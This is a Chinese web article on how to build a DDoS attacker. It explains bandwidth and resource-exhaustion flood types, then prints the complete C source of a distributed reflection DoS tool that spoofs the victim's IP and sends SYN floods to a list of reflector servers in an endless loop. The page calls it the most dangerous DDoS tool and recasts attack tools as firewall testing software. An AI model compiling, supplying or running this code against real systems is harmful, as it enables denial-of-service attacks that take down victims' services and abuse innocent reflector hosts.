怎么編寫ddos攻擊器ddos攻擊器源碼
DDOS是(Distributed Denial of Service)的縮寫,即分布式阻斷服務(wù),黑客利用DDOS攻擊器控制多臺(tái)機(jī)器同時(shí)攻擊來(lái)達(dá)到“妨礙正常使用者使用服務(wù)”的目的,這樣就形成了DDOS攻擊,隨著互聯(lián)網(wǎng)的不斷發(fā)展,競(jìng)爭(zhēng)越來(lái)越激烈,各式各樣的DDOS攻擊器開(kāi)始出現(xiàn)。就以2014年最新的閃電DDOS來(lái)說(shuō)他的DNS攻擊模式可放大N倍進(jìn)行反射攻擊。不少公司雇傭黑客團(tuán)隊(duì)對(duì)自己的競(jìng)爭(zhēng)對(duì)手進(jìn)行DDOS攻擊。目前業(yè)界的各類攻擊產(chǎn)品很多,目前最強(qiáng)悍技術(shù)最領(lǐng)先的防火墻測(cè)試軟件就是DDOS攻擊器了。
在當(dāng)今維護(hù)網(wǎng)絡(luò)安全的措施中,防火墻是應(yīng)
用最普遍、提供最基本網(wǎng)絡(luò)防范功能的一種有效手段。針對(duì)威脅網(wǎng)絡(luò)安全的DDOS攻擊,DDOS防火墻扮演者重要的角色,其產(chǎn)品也是琳瑯滿目。隨著用戶對(duì)DDOS防火墻的質(zhì)量要求越來(lái)越高,對(duì)DDOS防火墻產(chǎn)品的DDOS壓力測(cè)試的研究也隨即展開(kāi),壓力測(cè)試軟件的重要性能夠讓企業(yè)及時(shí)發(fā)現(xiàn)自己網(wǎng)絡(luò)環(huán)境的薄弱點(diǎn),從而及時(shí)防范潛在的黑客攻擊,降低企業(yè)的損失。

攻擊種類
受害主機(jī)在 DDoS 攻擊下,明顯特征就是大量的不明數(shù)據(jù)報(bào)文流向受害主機(jī),受害主機(jī)的網(wǎng)絡(luò)接入帶寬被耗盡,或者受害主機(jī)的系統(tǒng)資源(存儲(chǔ)資源和計(jì)算資源)被大量占用,甚至發(fā)生死機(jī)。前者可稱為帶寬消耗攻擊,后者稱為系統(tǒng)資源消耗攻擊。兩者可能單獨(dú)發(fā)生,也可能同時(shí)發(fā)生。
1 帶寬消耗攻擊
DDoS帶寬消耗攻擊主要為直接洪流攻擊。 直接洪流攻擊采取了簡(jiǎn)單自然的攻擊方式,它利用了攻擊方的資源優(yōu)勢(shì),當(dāng)大量代理發(fā)出的攻擊流匯聚于目標(biāo)時(shí),足以耗盡其 Internet 接入帶寬。通常用于發(fā)送的攻擊報(bào)文類型有:TCP報(bào)文(可含TCP SYN報(bào)文),UDP報(bào)文,ICMP報(bào)文,三者可以單獨(dú)使用,也可同時(shí)使用。
1.1 TCP洪流攻擊
在早期的DoS攻擊中,攻擊者只發(fā)送TCP SYN報(bào)文,以消耗目標(biāo)的系統(tǒng)資源。而在 DDoS 攻擊中,由于攻擊者擁有更多的攻擊資源,所以攻擊者在大量發(fā)送TCP SYN報(bào)文的同時(shí),還發(fā)送ACK, FIN, RST報(bào)文以及其他 TCP 普通數(shù)據(jù)報(bào)文,這稱為 TCP 洪流攻擊。該攻擊在消耗系統(tǒng)資源(主要由 SYN,RST 報(bào)文導(dǎo)致)的同時(shí),還能擁塞受害者的網(wǎng)絡(luò)接入帶寬。由于TCP協(xié)議為TCP/IP協(xié)議中的基礎(chǔ)協(xié)議,是許多重要應(yīng)用層服務(wù)(如WEB 服務(wù),F(xiàn)TP 服務(wù)等)的基礎(chǔ),所以TCP洪流攻擊能對(duì)服務(wù)器的服務(wù)性能造成致命的影響。據(jù)研究統(tǒng)計(jì),大多數(shù)DDoS攻擊通過(guò)TCP洪流攻擊實(shí)現(xiàn)。
1.2UDP 洪流攻擊
用戶數(shù)據(jù)報(bào)協(xié)議(UDP)是一個(gè)無(wú)連接協(xié)議。當(dāng)數(shù)據(jù)包經(jīng)由UDP協(xié)議發(fā)送時(shí),發(fā)送雙方無(wú)需通過(guò)三次握手建立連接, 接收方必須接收處理該數(shù)據(jù)包。因此大量的發(fā)往受害主機(jī) UDP 報(bào)文能使網(wǎng)絡(luò)飽和。在一起UDP 洪流攻擊中,UDP 報(bào)文發(fā)往受害系統(tǒng)的隨機(jī)或指定端口。通常,UDP洪流攻擊設(shè)定成指向目標(biāo)的隨機(jī)端口。這使得受害系統(tǒng)必須對(duì)流入數(shù)據(jù)進(jìn)行分析以確定哪個(gè)應(yīng)用服務(wù)請(qǐng)求了數(shù)據(jù)。如果受害系統(tǒng)在某個(gè)被攻擊端口沒(méi)有運(yùn)行服務(wù),它將用 ICMP 報(bào)文回應(yīng)一個(gè)“目標(biāo)端口不可達(dá)”消息。通常,攻擊中的DDoS工具會(huì)偽造攻擊包的源IP地址。這有助于隱藏代理的身份,同時(shí)能確保來(lái)自受害主機(jī)的回應(yīng)消息不會(huì)返回到代理。UDP洪流攻擊同時(shí)也會(huì)擁塞受害主機(jī)周圍的網(wǎng)絡(luò)帶寬(視網(wǎng)絡(luò)構(gòu)架和線路速度而定)。因此,有時(shí)連接到受害系統(tǒng)周邊網(wǎng)絡(luò)的主機(jī)也會(huì)遭遇網(wǎng)絡(luò)連接問(wèn)題。
1.3 ICMP洪流攻擊
Internet 控制報(bào)文協(xié)議傳遞差錯(cuò)報(bào)文及其它網(wǎng)絡(luò)管理消息,它被用于定位網(wǎng)絡(luò)設(shè)備,確定源到端的跳數(shù)或往返時(shí)間等。一個(gè)典型的運(yùn)用就是 Ping 程序,其使用 ICMP_ECHO REQEST 報(bào)文,用戶可以向目標(biāo)發(fā)送一個(gè)請(qǐng)求消息,并收到一個(gè)帶往返時(shí)間的回應(yīng)消息。ICMP 洪流攻擊就是通過(guò)代理向受害主機(jī)發(fā)送大量ICMP_ECHO_ REQEST)報(bào)文。這些報(bào)文涌往目標(biāo)并使其回應(yīng)報(bào)文,兩者合起來(lái)的流量將使受害主機(jī)網(wǎng)絡(luò)帶寬飽和。與UDP洪流攻擊一樣,ICMP洪流攻擊通常也偽造源IP地址。
2 系統(tǒng)資源消耗攻擊
DDoS系統(tǒng)資源消耗攻擊包括惡意誤用 TCP/IP 協(xié)議通信和發(fā)送畸形報(bào)文兩種攻擊方式。兩者都能起到占用系統(tǒng)資源的效果。具體有以下幾種:
TCP SYN攻擊。DoS的主要攻擊方式,在DDoS攻擊中仍然是最常見(jiàn)的攻擊手段之一。只不過(guò)在 DDoS 方式下,它的攻擊強(qiáng)度得到了成百上千倍的增加。
TCP PSH+ACK 攻擊。在 TCP 協(xié)議中,到達(dá)目的地的報(bào)文將進(jìn)入 TCP棧的緩沖區(qū),直到緩沖區(qū)滿了,報(bào)文才被轉(zhuǎn)送給接收系統(tǒng)。此舉是為了使系統(tǒng)清空緩沖區(qū)的次數(shù)達(dá)到最小。然而,發(fā)送者可通過(guò)發(fā)送 PSH 標(biāo)志為 1 的TCP 報(bào)文來(lái)起強(qiáng)制要求接受系統(tǒng)將緩沖區(qū)的內(nèi)容清除。TCP PUSH+ACK 攻擊與 TCP SYN 攻擊一樣目的在于耗盡受害系統(tǒng)的資源。當(dāng)代理向受害主機(jī)發(fā)送PSH和ACK標(biāo)志設(shè)為1的TCP報(bào)文時(shí), 這些報(bào)文將使接收系統(tǒng)清除所有 TCP 緩沖區(qū)的數(shù)據(jù)(不管緩沖區(qū)是滿的還是非滿),并回應(yīng)一個(gè)確認(rèn)消息。如果這個(gè)過(guò)程被大量代理重復(fù),系統(tǒng)將無(wú)法處理大量的流入報(bào)文。 畸形報(bào)文攻擊。顧名思義,畸形報(bào)文攻擊指的是攻擊者指使代理向受害主機(jī)發(fā)送錯(cuò)誤成型的IP報(bào)文以使其崩潰。有兩種畸形報(bào)文攻擊方式。一種是IP 地址攻擊,攻擊報(bào)文擁有相同的源 IP 和目的 IP 地址。它能迷惑受害主機(jī)的操作系統(tǒng),并使其消耗大量的處理能力。另一個(gè)是IP報(bào)文可選段攻擊。攻擊報(bào)文隨機(jī)選取IP報(bào)文的可選段并將其所有的服務(wù)比特值設(shè)為1。對(duì)此,受害系統(tǒng)不得不花費(fèi)額外的處理時(shí)間來(lái)分析數(shù)據(jù)包。當(dāng)發(fā)動(dòng)攻擊的代理足夠多時(shí),受害系統(tǒng)將失去處理能力。
3 應(yīng)用層攻擊
典型如國(guó)內(nèi)流行的傳奇假人攻擊,這種攻擊利用傀儡機(jī),模擬了傳奇服務(wù)器的數(shù)據(jù)流,能夠完成普通傳奇戲服務(wù)器的注冊(cè)、登陸等功能,使得服務(wù)器運(yùn)行的傳奇游戲內(nèi)出現(xiàn)大量的假人,影響了正常玩家的登陸和游戲,嚴(yán)重時(shí)完全無(wú)法登陸。
DDOS攻擊器原代碼
歷史上最強(qiáng)的DDOS工具---DRDOS源代碼(危害指數(shù)★★★★★)請(qǐng)大家謹(jǐn)慎使用!
用C++編寫的,用C++生成EXE文件即可
/**************************************************************************/
/* DRDoS - Distributed Reflection Denial of Service tool */
/* */
/* Copyright (C) 2003 KrystalEye.com */
/* */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or */
/* (at your option) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/* GNU General Public License for more details. */
/* */
/**************************************************************************/
/* Version - 1.0 */
/* */
/* Purpose - Demonstration of DRDoS attacks */
/* */
/* Author - Nguyen Minh Nhat 《ngmnhat@yahoo.com》 */
/* http://www.krystaleye.com/ */
/* */
/* Disclaimer - You must be ROOT to use RAW socket. */
/* This program is for educational purposes only and */
/* network testing ON YOUR OWN NETWORK! Do not use it */
/* for malicious purposes! */
/* I am in NO way responsible for what you do with this */
/* program, or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands off, */
/* and catch up on those things first. */
/* */
/* Compiling - gcc -o DRDoS DRDoS.c */
/* */
/* Usage - Usage is described in the welcome screen of this program when */
/* running it without arguments */
/**************************************************************************/
#include 《stdio.h》
#include 《stdlib.h》
#include 《unistd.h》
#include 《string.h》
#include 《sys/types.h》
#include 《sys/socket.h》
#include 《arpa/inet.h》
#include 《netinet/in.h》
#include 《netinet/ip.h》
#include 《netinet/tcp.h》
#include 《netdb.h》
#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)
struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};
unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);
int main(int argc,char * argv[])
{
int val;
char fname[1000];
FILE * list;
char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;
int serverfd;
struct sockaddr_in server;
char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;
if (argc != 3)
{
printf(“\nDistributed Reflection DoS tool - v1.0\n”);
printf(“Copyright (C) 2003 KrystalEye.com\n\n”);
printf(“Usage: %s 《list》 《target IP》\n\n”,argv[0]);
printf(“ -list : Path to Zombies (\”Reflection Servers\“) list file\n”);
printf(“ -target IP: IP address of target\n\n”);
printf(“*** Syntax of list file ***\n”);
printf(“ -Each line contains 1 zombie‘s information\n”);
printf(“ -Each zombie is described by 5 numbers:\n”);
printf(“ 4 octets of IP address (without ’。‘) and Port number\n”);
printf(“ -Numbers are seperated by at least 1 blank character (’ ‘)\n”);
printf(“Example: 203 162 56 78 80\n”);
printf(“ =》 IP: 203.162.56.78 || Port: 80\n\n”);
printf(“Email: ngmnhat@yahoo.com\n”);
printf(“Good luck! Thanks for using this tool!\n\n”);
exit(-1);
}
else
{
sprintf(fname,“%s”,argv[1]);
sprintf(saddr,“%s”,argv[2]);
sprintf(daddr,“%s”,argv[2]);
tport = random() % 10000;
sport = tport;
dport = tport;
}
if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
printf(“Error: malloc()\n”);
exit(-1);
}
bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));
ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);
helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);
tcp-》source = htons(sport);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》ack_seq = 0;
tcp-》doff = 5;
tcp-》fin = 0;
tcp-》syn = 1;
tcp-》rst = 0;
tcp-》psh = 0;
tcp-》ack = 0;
tcp-》window = htons(65535);
tcp-》urg_ptr = 0;
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》ihl = 5;
ip-》version = 4;
ip-》tos = 0;
ip-》tot_len = IPHDRSIZE + TCPHDRSIZE;
ip-》id = random();
ip-》ttl = 255;
ip-》protocol = IPPROTO_TCP;
ip-》saddr = inet_addr(saddr);
ip-》daddr = inet_addr(daddr);
ip-》check = 0;
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) 《 0)
{
printf(“Error: socket()\n”);
exit(-1);
}
setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));
bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;
if ((list = fopen(fname,“r”)) == NULL)
{
printf(“Error: cannot open file\n”);
exit(-1);
}
fscanf(list,“%hu”,&a);
if (feof(list))
{
printf(“Error: empty list\n”);
fclose(list);
exit(-1);
}
fclose(list);
printf(“\nAttacking %s.。。\n\n”,argv[2]);
printf(“Press 《Ctrl-C》 to Stop.\n”);
while (1)
{
list = fopen(fname,“r”);
while (!feof(list))
{
fscanf(list,“ %hu %hu %hu %hu %hu”,&a,&b,&c,&d,&tport);
sprintf(daddr,“%hu.%hu.%hu.%hu”,a,b,c,d);
helpcksum.pseudo.daddr = inet_addr(daddr);
ip-》daddr = inet_addr(daddr);
ip-》id = random();
ip-》check = 0;
dport = tport;
tcp-》source = htons(random() % 10000);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
server.sin_addr.s_addr = inet_addr(daddr);
server.sin_port = htons(dport);
sendto(serverfd,packet,ip-》tot_len,0,(struct sockaddr *)&server,sizeof
(struct sockaddr));
usleep(100);
}
fclose(list);
}
close(serverfd);
return 0;
}
unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft 》 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum 》》 16) + (sum & 0xffff);
sum += (sum 》》 16);
answer = ~sum;
return answer;
}
非常好我支持^.^
(6302) 97.9%
不好我反對(duì)
(137) 2.1%
相關(guān)閱讀:
- [電子說(shuō)] 中國(guó)統(tǒng)一威脅管理硬件技術(shù)評(píng)估報(bào)告顯示:華為防火墻唯一8大維度五星評(píng)價(jià), 2023-10-24
- [汽車電子] 如何保護(hù)自動(dòng)駕駛系統(tǒng)的數(shù)據(jù)安全? 2023-10-18
- [安全設(shè)備/系統(tǒng)] 汽車網(wǎng)絡(luò)安全機(jī)制關(guān)鍵技術(shù) 2023-10-18
- [電子說(shuō)] server2019服務(wù)器搭建的方法步驟 2023-10-18
- [電子說(shuō)] 不用Nginx,只用Tomcat的Http請(qǐng)求流程 2023-10-17
- [嵌入式技術(shù)] Linux系統(tǒng)firewalld防火墻實(shí)戰(zhàn)指南 2023-10-16
- [電子說(shuō)] Web應(yīng)用防火墻的性能優(yōu)化技術(shù) 2023-10-14
- [電子說(shuō)] 如何利用Web應(yīng)用防火墻應(yīng)對(duì)未知威脅 2023-10-14
( 發(fā)表人:姚遠(yuǎn)香 )
